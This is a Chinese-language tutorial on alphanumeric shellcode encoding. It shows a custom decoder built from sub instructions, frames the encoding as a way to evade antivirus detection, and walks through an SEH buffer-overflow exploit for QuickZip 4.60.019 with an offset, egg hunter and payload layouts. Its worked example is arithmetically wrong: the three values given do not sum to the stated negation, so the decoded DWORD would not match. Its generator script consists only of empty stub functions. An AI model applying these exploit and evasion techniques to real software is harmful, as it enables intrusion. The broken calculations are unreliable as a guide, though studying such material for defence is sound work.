Shellcode编码技术
字数 1473 2025-08-24 20:49:22
Shellcode编码技术详解
0x01 编码的必要性
1.1 字符集差异问题
- 不同应用程序和平台可能使用不同的字符集
- 字符集限制会影响exploit的稳定性
1.2 绕过坏字符
- 某些应用会对特定字符进行变形或截断
- 坏字符会破坏exploit的执行流程
1.3 绕过安全检测
- 安全工具常基于exploit特征进行检测
- 编码变形可有效实现"免杀"
0x02 编码方法概述
2.1 简单加解密
- 使用小巧的加解密代码处理shellcode
- 需适应有限的字符集环境
2.2 Alpha2/3编译器
- 基于特定寄存器(如edx)作为基地址
- 可生成特定字符集的编码shellcode
- 应用范围广泛
2.3 Custom Decoder
- 通过计算产生可见字符形式的代码
- 将代码压入栈中执行
- 32位系统以DWORD(4字节)为片段
- 64位系统以QWORD(8字节)为片段
0x03 Custom Decoder实现细节
3.1 基本原理
- 示例操作序列:
push edx= \x52pop eax= \x58jmp edx= \xff\xe2
- 内存中表示为'\x52\x58\xff\xe2'
- DWORD表示为0xe2ff5852
3.2 计算原则
- 使用可见字符进行计算(字母数字)
- 数字范围:0x30-0x39
- 字母范围:0x41-0x5a, 0x61-0x7a
- 计算步骤:
- 获取原始DWORD的相反数(re_opcode)
- 用0减去re_opcode得到opcode
- 将re_opcode分解为3个可见字符组合的和
3.3 计算示例
以0xe2ff5852为例:
- re_opcode = 0 - 0xe2ff5852 = 0x1d00a7ae
- 分解为三个合法数值:
- 0x5F555555
- 0x5F555555
- 0x5e555556
3.4 实现代码
# 初始化eax为0
and eax, 0x554e4d4a # "\x25\x4A\x4D\x4E\x55"
and eax, 0x2a313235 # "\x25\x35\x32\x31\x2A"
# 减法计算
sub eax, 0x5F555555 # "\x2d\x55\x55\x55\x5f"
sub eax, 0x5F555555 # "\x2d\x55\x55\x55\x5f"
sub eax, 0x5e555556 # "\x2d\x56\x55\x55\x5e"
# 结果入栈
push eax # '\x50'
3.5 自动化脚本
# -*- coding: utf-8 -*-
import string
from struct import pack, unpack
# 全局变量定义
rightBytes = string.printable
lowst = 0x30
setEaxZero = ((0x25, 0x55, 0x4e, 0x4d, 0x4a), (0x25, 0x2a, 0x31, 0x32, 0x35))
push_eax = 0x50
sub_eax = 0x2d
fmt = '\\x%x'
longFmt = fmt*5
def strToHex(src):
# 字符串转十六进制实现
pass
def CalcOneDword(dw):
# 计算单个DWORD的实现
pass
def GenerateOpcodes(calc_set):
# 生成操作码的实现
pass
def GetOpcode():
# 获取用户输入的操作码
pass
if __name__ == '__main__':
opcode = GetOpcode()
dword_str = strToHex(opcode)
calc_set = [CalcOneDword(dw) for dw in dword_str]
GenerateOpcodes(calc_set)
0x04 Exploit编写实践(QuickZip 4.60.019漏洞)
4.1 漏洞背景
- CVE-OSVDB-ID: 62781
- 缓冲区溢出漏洞,可覆盖SEH
- nSEH偏移:294(XP SP3中文版)
4.2 初始Payload构造
# 方案1
payload = junk + short_jmp(nSEH) + SEH + nops + shellcode
# 问题:特殊字符可能导致截断
# 方案2
payload = junk + shellcode + jmpback + nSEH + SEH + nops
# 问题:nSEH前空间有限
4.3 使用Egg Hunter技术
- 确认shellcode已加载到内存(使用mona插件的compare功能)
- 构造方案:
# 方案3
payload = junk + egg_hunter + nSEH + SEH + nops + shellcode
4.4 寄存器调整问题
- Egg hunter使用alpha3编码(基于edx寄存器)
- 需要调整edx指向egg hunter地址
- 构造方案:
# 方案4
payload = egg_hunter + ajust_edx + nops + nSEH + SEH + nops + shellcode
4.5 寄存器调整实现
- 在nSEH处下断点观察寄存器状态
- 调整代码示例:
sub ebp, 0x4e3
push ebp
pop edx
jmp edx
- 问题:sub ebp, 0x4e3包含坏字符
4.6 使用Custom Decoder
- 将调整代码编码为可见字符形式
- 最终构造方案:
# 方案5
payload = egg_hunter + costom_decoder + nops + ajust_edx + nops + nSEH + SEH + nops + shellcode
4.7 ESP调整技巧
- 使用popad指令获取nSEH地址到ebx
- 然后push ebp, pop esp调整栈指针
- 确保生成的opcode能平滑执行
0x05 关键点总结
- 编码选择:根据目标环境选择合适编码方式(简单加密/Alpha/Custom)
- 字符限制:严格控制在可见字符范围内(0x30-0x39,0x41-0x5a,0x61-0x7a)
- 寄存器管理:确保关键寄存器(如edx)正确指向shellcode
- 栈平衡:精心调整ESP确保代码流正确
- 坏字符处理:使用减法而非加法避免坏字符
- 自动化工具:开发脚本提高编码效率
通过以上技术,可以有效解决shellcode在各种受限环境下的执行问题,提高exploit的稳定性和成功率。